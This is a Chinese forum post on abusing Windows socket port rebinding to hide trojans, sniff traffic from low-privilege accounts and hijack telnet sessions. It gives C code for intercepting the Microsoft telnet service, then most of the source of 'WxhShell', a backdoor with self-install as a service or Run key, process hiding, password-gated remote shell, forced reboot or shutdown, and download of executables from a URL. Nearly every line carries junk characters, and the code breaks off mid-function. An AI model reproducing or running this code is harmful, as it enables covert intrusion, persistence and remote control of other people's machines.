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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uum;q-"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6lk l7zm  
.fN"@l  
  saddr.sin_family = AF_INET; &j?#3Qt'_  
%YSpCI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :@1eph0  
GiP`dtK   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CNQC^d\ h  
B.g[c97  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X/z6"*(|/  
chV9_(8  
  这意味着什么?意味着可以进行如下的攻击: bV edFm  
e%4:) IV!;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vo\fUT@k  
psnTFe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YLwnhy>dD  
6(]tYcC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h G gx  
0dA7pY9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pt@%4 :&-h  
: p{+G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @g2 cC  
%9k!A]KD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {cB+mh;mJ>  
aFe`_cnG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {K4+6p  
:C}2=  
  #include 2<`.#zIds  
  #include fV v.@HL{  
  #include  vj51 g@  
  #include    hq:&wN 7Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s@z}YH  
  int main() ~7$&WzD  
  { ^qg?6S4  
  WORD wVersionRequested; L7= Q<D<  
  DWORD ret; n6*En7IVh  
  WSADATA wsaData; !L;\cl  
  BOOL val; Aub]IO~  
  SOCKADDR_IN saddr; -b9;5eS!  
  SOCKADDR_IN scaddr; N[<H7_/3  
  int err; r'dr9"-{  
  SOCKET s; "p/j; 6H  
  SOCKET sc; 3' ~gvi I  
  int caddsize; B|C/ Rk6?  
  HANDLE mt; &?uz`pv2  
  DWORD tid;   HQUeWCN  
  wVersionRequested = MAKEWORD( 2, 2 ); .s<*'B7&  
  err = WSAStartup( wVersionRequested, &wsaData ); v1|Bf8  
  if ( err != 0 ) { >iOzl wmG  
  printf("error!WSAStartup failed!\n"); /0W9g  
  return -1; kloR#?8A  
  } R*oXmuOsYA  
  saddr.sin_family = AF_INET; p}|.ZkyN  
   L4b:F0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ) c/% NiN  
< -uc."6\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Q =7/dY3I  
  saddr.sin_port = htons(23); $xOI 1|d   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9%iUG(DC  
  { `C_jP|[e  
  printf("error!socket failed!\n"); BnCKSg7V  
  return -1; Tx 1 vL  
  } ?E9DXg  
  val = TRUE; &O)&k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 anj#@U;!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +vNZW@_$D  
  { ari7iF ~j  
  printf("error!setsockopt failed!\n"); ^A][)*SZ  
  return -1; QDTBWM%  
  } 8>7RxSF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b1gaj"]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OFGsjYLw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6 4D]Ypx  
7_wJpTz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :qR=>n=  
  { ]Ni;w]KE  
  ret=GetLastError(); `/"nTB  
  printf("error!bind failed!\n"); \X F}?*8  
  return -1; |+:h|UIUQ  
  } ( =16PYs  
  listen(s,2); 2[B4f7  
  while(1) SR^_cpZoi  
  { d'*]ns  
  caddsize = sizeof(scaddr); =(EI~N  
  //接受连接请求 E"%2)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sow d`I~  
  if(sc!=INVALID_SOCKET) 4J|t?]ij|E  
  { ?f*Q>3S)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3IR ^  
  if(mt==NULL) /({;0I*!i  
  { 'q>2t}KG  
  printf("Thread Creat Failed!\n"); `^(jm  
  break; `k; KBW  
  } =H %-.m'f2  
  } FG%j {_Ez  
  CloseHandle(mt);  \dl ph  
  } X 6 lH|R  
  closesocket(s); ;' nL:\  
  WSACleanup(); >sD4R}\})  
  return 0; j'HkBW:L  
  }   A])P1c. 7"  
  DWORD WINAPI ClientThread(LPVOID lpParam) wQ+dJ3b$  
  { LhzMAW<L4  
  SOCKET ss = (SOCKET)lpParam; RA],lNs  
  SOCKET sc; G\/"}B:(  
  unsigned char buf[4096]; mmEp'E  
  SOCKADDR_IN saddr; Q}*y$se!  
  long num; ]DvO:tM  
  DWORD val; |2`"1gt  
  DWORD ret; =s}Xy_+:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 joa5|t!D9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y/? &pKH^  
  saddr.sin_family = AF_INET; SQWafD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #FYAV%pi  
  saddr.sin_port = htons(23); 3Z>YV]YbeU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DjCx~@  
  { .mL#6P!d3^  
  printf("error!socket failed!\n"); U@Tj B  
  return -1; I\Glc=T*  
  } ?0<w  
  val = 100; 8BXqZVm.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y-~~,Yl~  
  { G{x[uE2X&f  
  ret = GetLastError(); a :HNg  
  return -1; ;`v% sx#  
  } wP"q<W g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K{cbn1\,H  
  { cPn+<M#  
  ret = GetLastError(); ,>LRa  
  return -1; u-DK_^v4M  
  } Rt(J/%;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J?n<ydZSH  
  { Zt@Z=r:&  
  printf("error!socket connect failed!\n"); Gzt=u"FV  
  closesocket(sc); f+Dn9t  
  closesocket(ss); w7-WUvxl  
  return -1; XD-^w_  
  } ] c}91  
  while(1) JmOW~W  
  { N;HIsOT}t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fT Y/4(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !q4x~G0d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W9J1=  
  num = recv(ss,buf,4096,0); h4fLl3%H  
  if(num>0) \k.vN@K#  
  send(sc,buf,num,0); ~ eN8|SR  
  else if(num==0) C:\(~D *GS  
  break; /&Jv,[2kV  
  num = recv(sc,buf,4096,0); z,*:x4}F  
  if(num>0) ?M6ag_h3  
  send(ss,buf,num,0); $E(XjuS  
  else if(num==0) _qWC4NMF(  
  break; 9 1P4:6  
  } V*65b(q)  
  closesocket(ss); AxCI 0  
  closesocket(sc); 0y %L-:/c|  
  return 0 ; *]s&8/Gmb  
  } ';RI7)<  
h3Fo-]0  
)QY![&k}1z  
========================================================== tSv0" L  
+=c am/A  
下边附上一个代码,,WXhSHELL _$/ +D:K  
IS]{}Y\3H  
========================================================== X QbNH~  
L2-^! '  
#include "stdafx.h" mog9jw  
(TSqc5^H  
#include <stdio.h> ~!+h?[miV  
#include <string.h> V`fL%du,3  
#include <windows.h> 5)+F(  
#include <winsock2.h> 0H=9@  
#include <winsvc.h> m/USC'U%  
#include <urlmon.h> tLX,+P2|  
VRS 2cc  
#pragma comment (lib, "Ws2_32.lib") IftxSaP  
#pragma comment (lib, "urlmon.lib") +T_ p8W+j  
C|z%P}u#p  
#define MAX_USER   100 // 最大客户端连接数 #i@h{ R01  
#define BUF_SOCK   200 // sock buffer %!.M~5mCd  
#define KEY_BUFF   255 // 输入 buffer +lp{#1q0  
~v: #zU  
#define REBOOT     0   // 重启 {^&@g kYY  
#define SHUTDOWN   1   // 关机  pbB2wt  
\~"#ld(x7  
#define DEF_PORT   5000 // 监听端口 6w#nkF  
dc^Vc{26Z  
#define REG_LEN     16   // 注册表键长度 (:$9%,x  
#define SVC_LEN     80   // NT服务名长度 3-Y=EH_0  
d><fu]'  
// 从dll定义API mf4z?G@6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5RA<Z.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o+)A'S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /)1v9<vM"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]XrE  
6$B'Q30}r  
// wxhshell配置信息 LZ&uj{ <  
struct WSCFG { ha'qIT 3&  
  int ws_port;         // 监听端口 2uu[52H8d%  
  char ws_passstr[REG_LEN]; // 口令 [V< 1_zqt  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5~\Kj#PBx  
  char ws_regname[REG_LEN]; // 注册表键名 N+>'J23d!  
  char ws_svcname[REG_LEN]; // 服务名 O@`J_9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c2b6B.4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _:,.yRez  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mrnxI#6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +Hy4s[_|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xw%)rm<t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GAJ~$AiwHH  
P06 . 1  
}; r%!FmS<  
mq`5w)S)\o  
// default Wxhshell configuration >Pkdu}xP3  
struct WSCFG wscfg={DEF_PORT, ku3D?D:V  
    "xuhuanlingzhe", 8xo;E=`   
    1, u&3EPu  
    "Wxhshell", YeIe\3x!N  
    "Wxhshell", ]N\6h(**wy  
            "WxhShell Service", $5/\Z  
    "Wrsky Windows CmdShell Service", cHn;}l!I  
    "Please Input Your Password: ", _[$# b]V  
  1, 'oi2Seq  
  "http://www.wrsky.com/wxhshell.exe", M'|)dM|  
  "Wxhshell.exe" T#e4": A&x  
    }; q}Rlo/R  
~|=rwDBZ8l  
// 消息定义模块 R"Y?iZed3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8dV=1O$ /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GEi MmH?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vU9~[I`^p  
char *msg_ws_ext="\n\rExit."; }wkaQQh  
char *msg_ws_end="\n\rQuit."; iQj2UTds3  
char *msg_ws_boot="\n\rReboot..."; (1y='L2rj  
char *msg_ws_poff="\n\rShutdown..."; )=(n/vckM  
char *msg_ws_down="\n\rSave to "; z[FI2jl  
9 d] tjT  
char *msg_ws_err="\n\rErr!"; H:E5xz3VQ  
char *msg_ws_ok="\n\rOK!"; ris;Iu^v0  
xc *!W*04  
char ExeFile[MAX_PATH]; p[;8  
int nUser = 0; b.6ZfB,+G  
HANDLE handles[MAX_USER]; KQW!\y?$"  
int OsIsNt; BGA%"b  
hOSf'mi  
SERVICE_STATUS       serviceStatus; 45r|1<Ro  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8v$ g  
\vs%U}IrO  
// 函数声明 T"A^[ r*  
int Install(void); t!l/`e%J  
int Uninstall(void); wjg}[R@!  
int DownloadFile(char *sURL, SOCKET wsh); ${0%tCE  
int Boot(int flag); y$v@wb5  
void HideProc(void); 6o9sR)c ?  
int GetOsVer(void); XL?A w  
int Wxhshell(SOCKET wsl); oEPNN'~3  
void TalkWithClient(void *cs); E.4n}s  
int CmdShell(SOCKET sock); <q1'Li)_R  
int StartFromService(void); k{qLkcOg=  
int StartWxhshell(LPSTR lpCmdLine); d"p2Kx'*3  
@!-aR u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n1JC?+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UJ9q-r  
dRM5urR6,  
// 数据结构和表定义 wC(XRqlE  
SERVICE_TABLE_ENTRY DispatchTable[] = 0JrK/Ma3  
{ AAdD\ %JZ  
{wscfg.ws_svcname, NTServiceMain}, 2Z-,c;21  
{NULL, NULL} p( HyRCH  
}; 7rJ9 }/<I  
[ArO$X3\  
// 自我安装 (,d/JnP  
int Install(void) JgxA^>|9;  
{ lbG}noqb  
  char svExeFile[MAX_PATH]; j& <tdORT  
  HKEY key; d{iL?>'?^  
  strcpy(svExeFile,ExeFile); a5>)?m  
 }Olr  
// 如果是win9x系统,修改注册表设为自启动 Kyyih|{  
if(!OsIsNt) { 3a/[."W u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c-ttds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L;4[ k;5  
  RegCloseKey(key); J]$er0`LY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e2q pJ4i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ./'; P <)  
  RegCloseKey(key); (v|ixa  
  return 0; p"g1V7B  
    } D8q3TyCj%  
  } Rd .U;>  
} J.*[gt%O|  
else { )A"ZV[eOoQ  
 W{L  
// 如果是NT以上系统,安装为系统服务 ;`;G/1]#9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z={D0`  
if (schSCManager!=0) [..,(  
{ xcAF  
  SC_HANDLE schService = CreateService ?,D>+::  
  ( .A )\F",X  
  schSCManager, 0zlM.rjEZ  
  wscfg.ws_svcname, 87&KQ_  
  wscfg.ws_svcdisp, `WraOsoY  
  SERVICE_ALL_ACCESS, _ .-o%6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u-8X$aJ  
  SERVICE_AUTO_START, "sz.v<F0:s  
  SERVICE_ERROR_NORMAL, y|FBYcn#F  
  svExeFile, W\nHX I  
  NULL, lNq:JVJ#\r  
  NULL, Jslk  
  NULL, E \ K  
  NULL, E`A<]dAoK  
  NULL iMP*]K-O  
  ); |LXrGyk^  
  if (schService!=0) T][-'0!  
  { bbE bf !E  
  CloseServiceHandle(schService); KyuA5jQ7  
  CloseServiceHandle(schSCManager); 4.,KEt'H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <K=@-4/Bp  
  strcat(svExeFile,wscfg.ws_svcname); Eqz4{\   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?|%\<h@;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N*_/@qM> a  
  RegCloseKey(key); z Y$X|= f  
  return 0; "3U{h]  
    } zz7Y/653  
  } 4iYgs-,  
  CloseServiceHandle(schSCManager); |@T5$Xg]5  
} o(B<!ji~'  
} J=f:\]@Oy  
v_?s1+w  
return 1; {bAWc.  
} NB|RZf9M  
v9j4|w  
// 自我卸载 Yio>ft&g]  
int Uninstall(void) xI/{)I1f  
{ v>x {jZkFL  
  HKEY key; m;;0 Cl  
bLU^1S8Z  
if(!OsIsNt) { FYx `o\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Z4(J?n  
  RegDeleteValue(key,wscfg.ws_regname); icKg7-$N  
  RegCloseKey(key); ]7XkijNb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o(Ua",|  
  RegDeleteValue(key,wscfg.ws_regname); 2<46jJYL'  
  RegCloseKey(key); >!HfH(is\  
  return 0; 3s+<    
  } *` @XKK  
} %a)0?U  
} 0%GqCg  
else { CjC'"+[w  
p=mCK@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (>!]A6^L~  
if (schSCManager!=0) BR&Qw'O%  
{ jc%{a*n"vr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Y}Y&mA4  
  if (schService!=0) |.Y@^z;P3  
  { I,CAFq  
  if(DeleteService(schService)!=0) { AF9[2AH=Y  
  CloseServiceHandle(schService); UX-_{I QW  
  CloseServiceHandle(schSCManager); VuX >  
  return 0; pJ 2:` f<;  
  } Z1)jRE2dl  
  CloseServiceHandle(schService); =|qt!gY)Y  
  } LK   
  CloseServiceHandle(schSCManager); Tc'{i#%9j  
} #f|NM7  
} 'XZI{q2i  
A-Q{*{^#  
return 1; hX>VVeIZ  
} ${E[pT  
0gwm gc/#  
// 从指定url下载文件 ?d>P+).  
int DownloadFile(char *sURL, SOCKET wsh) "2#-xOCO  
{ n!l./>N  
  HRESULT hr; ]RJb;  
char seps[]= "/"; Oet#wp/I  
char *token; 1Rb XM n  
char *file; !yV,|)y5F  
char myURL[MAX_PATH]; Th& Wq  
char myFILE[MAX_PATH]; DJD]aI  
V#-qKV  
strcpy(myURL,sURL); 5 CY_Ay\  
  token=strtok(myURL,seps); P*0nT  
  while(token!=NULL) z'\}/k+  
  { pjKl)q  
    file=token; [6&CloY3  
  token=strtok(NULL,seps); OUIUgej  
  } m! '1$G  
{LB }v;?l  
GetCurrentDirectory(MAX_PATH,myFILE); 9J2q`/6~e  
strcat(myFILE, "\\"); 9A* ?E  
strcat(myFILE, file); <.AC=4@V  
  send(wsh,myFILE,strlen(myFILE),0); YjX!q]56  
send(wsh,"...",3,0); ; $ ?jR c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oM18aR&  
  if(hr==S_OK) #iR yjD  
return 0; @o3R`ZgC]\  
else c:@OX[##  
return 1; ]9KQP-p'  
cAKoPU>U  
} /BjGAa(  
w.T=Lzp  
// 系统电源模块 .j:.WnW  
int Boot(int flag) ^M"=A}h  
{ },Y; (n'  
  HANDLE hToken; (IWix){  
  TOKEN_PRIVILEGES tkp; FVC2XxP  
<*r<+S   
  if(OsIsNt) { }n2-*{)x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aaqd:N)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O{i_?V_  
    tkp.PrivilegeCount = 1; &JXHDpd$a^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U>plv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  Z$#ZYD  
if(flag==REBOOT) { g+KzlS[6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rbj+P;t&  
  return 0; Kt4\&l-De  
} z:i X]df  
else { AHMV@o`V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V M\Z<}C  
  return 0; LL$,<q%(P  
} PgG |7='  
  } [b k&Nd[  
  else { ^ ]6  80h  
if(flag==REBOOT) { ~&[P` Z$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n?P 5pJ  
  return 0; $?/Xk%d+  
} @)2V"FE4i  
else { @R OY}CZ{/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $R$c1C'oX  
  return 0; CI,`R&=xO  
} Q~w G(0'8  
} 1$!RKqT  
#Z=)=  
return 1; U3 8wGSG  
} VG'(   
[P&,}o)+E0  
// win9x进程隐藏模块 ?_Dnfa_  
void HideProc(void) #G!Adj+p5  
{ 'MdE}  
t zW<&^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iQ]c k-  
  if ( hKernel != NULL ) H;t8(-F@'  
  { 't]EkH]BC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); da?th  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o4[2`mT  
    FreeLibrary(hKernel); :{xN33@6\X  
  } MMA@J  
J2 rLsNC]0  
return; ,@>rubUz  
} f`9rT c  
-SY:qG3?  
// 获取操作系统版本 |nH0~P#!  
int GetOsVer(void) {!g.255+  
{ >ya-  
  OSVERSIONINFO winfo; vs0H^L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;~Gpw/]5E  
  GetVersionEx(&winfo); CU>K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U)w|GrxX  
  return 1; 5G ]#yb74  
  else /L|}Y242  
  return 0; >3 .ep},  
} K!: ,l  
z Hs  
// 客户端句柄模块 ][5p.owJse  
int Wxhshell(SOCKET wsl) Ah>krE0t  
{ ?jn6Op  
  SOCKET wsh; g1*H|n h2  
  struct sockaddr_in client; W &wDH  
  DWORD myID; 7}1Kafs  
+heS\I_Mp  
  while(nUser<MAX_USER) ])wMUJWg2  
{ /qq&'}TZP  
  int nSize=sizeof(client); j5Wx*~@(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YlcF-a  
  if(wsh==INVALID_SOCKET) return 1; yg[;  
^57fHlw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cKYvRe  
if(handles[nUser]==0) L{0OMyUA  
  closesocket(wsh); S5 nw  
else IM5^E#-g7  
  nUser++; a=B0ytNm  
  } 5NF&LM;i(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qCkg\)Ks5I  
*,[=}v1  
  return 0; [;#.DH]  
} t02"v4_i  
l`%} {3r9  
// 关闭 socket gcCYXPZp  
void CloseIt(SOCKET wsh) 6dy4{i  
{ )B&<Bk+  
closesocket(wsh); ~\}EROb <  
nUser--; Q fyERa\rb  
ExitThread(0); c3!|h1h/v  
} ^$,kTU'=  
SyVbCj  
// 客户端请求句柄 LLHOWD C(2  
void TalkWithClient(void *cs) ;)]zv\fC  
{ :lQjy@J  
.z>." `  
  SOCKET wsh=(SOCKET)cs; WAa1H60VkS  
  char pwd[SVC_LEN]; w@ylRq  
  char cmd[KEY_BUFF]; kJeOlO[  
char chr[1]; h8-tbHgpb  
int i,j; )* nbEZm@  
'*ICGKoT  
  while (nUser < MAX_USER) { f -nC+   
FC(cXPX}  
if(wscfg.ws_passstr) { 'C>SyU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i8 ):0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Y*}>tD;  
  //ZeroMemory(pwd,KEY_BUFF); c_qy)N  
      i=0; h16Nr x  
  while(i<SVC_LEN) { nN\XVGP,t  
#Ii.tTk  
  // 设置超时 nW%=k!''  
  fd_set FdRead; p33GKg0i+(  
  struct timeval TimeOut; vhEs+ j  
  FD_ZERO(&FdRead); }R5&[hxh4t  
  FD_SET(wsh,&FdRead); Odtck9L  
  TimeOut.tv_sec=8; ,k!f`  
  TimeOut.tv_usec=0; 1V3J:W#;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yaYt/?|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >`|uc  
&2]D+aL|h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >T^v4A  
  pwd=chr[0]; r8?Lr-;  
  if(chr[0]==0xd || chr[0]==0xa) { : 8<^rP  
  pwd=0; X/7_mU>aKT  
  break; =pOY+S|  
  } *K.7Zf0  
  i++; [f(^vlK  
    } ~wg^>!E  
BF [?* b  
  // 如果是非法用户,关闭 socket S|4/C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~%K(ou=2  
} % P)}(e6y  
|M>k &p,B-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4H? Ma|,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CPeK0(7Zh  
I3$vw7}5Y  
while(1) { o5 XUDDi  
?8}jJw2H  
  ZeroMemory(cmd,KEY_BUFF); p% %Y^=z  
H&IP>8Dk  
      // 自动支持客户端 telnet标准   :Qp/3(g e  
  j=0; 3A}8?  
  while(j<KEY_BUFF) { Du4#\OK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Jc0c)*  
  cmd[j]=chr[0]; 6b01xu(A[  
  if(chr[0]==0xa || chr[0]==0xd) { Y1+lk^  
  cmd[j]=0; =xet+;~ji  
  break; ^ 6|"=+cO\  
  } ,VsCRp  
  j++; 13kb~'+&r  
    } z))[Lg  
7uNI  
  // 下载文件 be#"517  
  if(strstr(cmd,"http://")) { ^!Jm/-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Pt\)"JA  
  if(DownloadFile(cmd,wsh)) s9bP6N!,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )II,HT-LY  
  else cS7!,XC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R_&z2I  
  } 8|Y^Jn\p5u  
  else { W3rvKqdw5  
S IK{GWX  
    switch(cmd[0]) { ;<<IXXKU  
  O;?~#E<6w  
  // 帮助 2`m_"y  
  case '?': { @il}0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CWYJ<27v{  
    break; B[X6A Qj}d  
  } to=##&ld<  
  // 安装 i}"JCqo2  
  case 'i': { yuX 0Y{:I  
    if(Install()) DP]|}8~L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n7uD(cL  
    else W)hby`k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sd6^%YB  
    break; [KJL%u|8/  
    } /n:fxdhe  
  // 卸载 rNC3h"i\  
  case 'r': { ra2q. H  
    if(Uninstall()) )ixE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nq6CvDXi  
    else 7~f6j:{|z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M0 8Y  
    break; oU?X"B9  
    } W^Y(FUy~  
  // 显示 wxhshell 所在路径 W%cPX0  
  case 'p': { b7j#a#  
    char svExeFile[MAX_PATH]; d6&tz!f  
    strcpy(svExeFile,"\n\r"); 9Wrcl ai  
      strcat(svExeFile,ExeFile); 9 <m j@bI$  
        send(wsh,svExeFile,strlen(svExeFile),0); GqxK|G1  
    break; b;l%1x9r  
    } 1*jm9])#  
  // 重启 @R{&>Q:.  
  case 'b': { cEu98nP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cfS]C_6d  
    if(Boot(REBOOT)) nHjwT5Q+Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gMn)<u>  
    else { jQ}| ]pj+  
    closesocket(wsh); sTyGi1  
    ExitThread(0); mIodD)?{  
    } ~vF o 0k(  
    break; a$8?0` (  
    } b] V=wZ o  
  // 关机 i(HhL&  
  case 'd': { ^O m]B;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yQ50f~9  
    if(Boot(SHUTDOWN)) E5Jk+6EcMa  
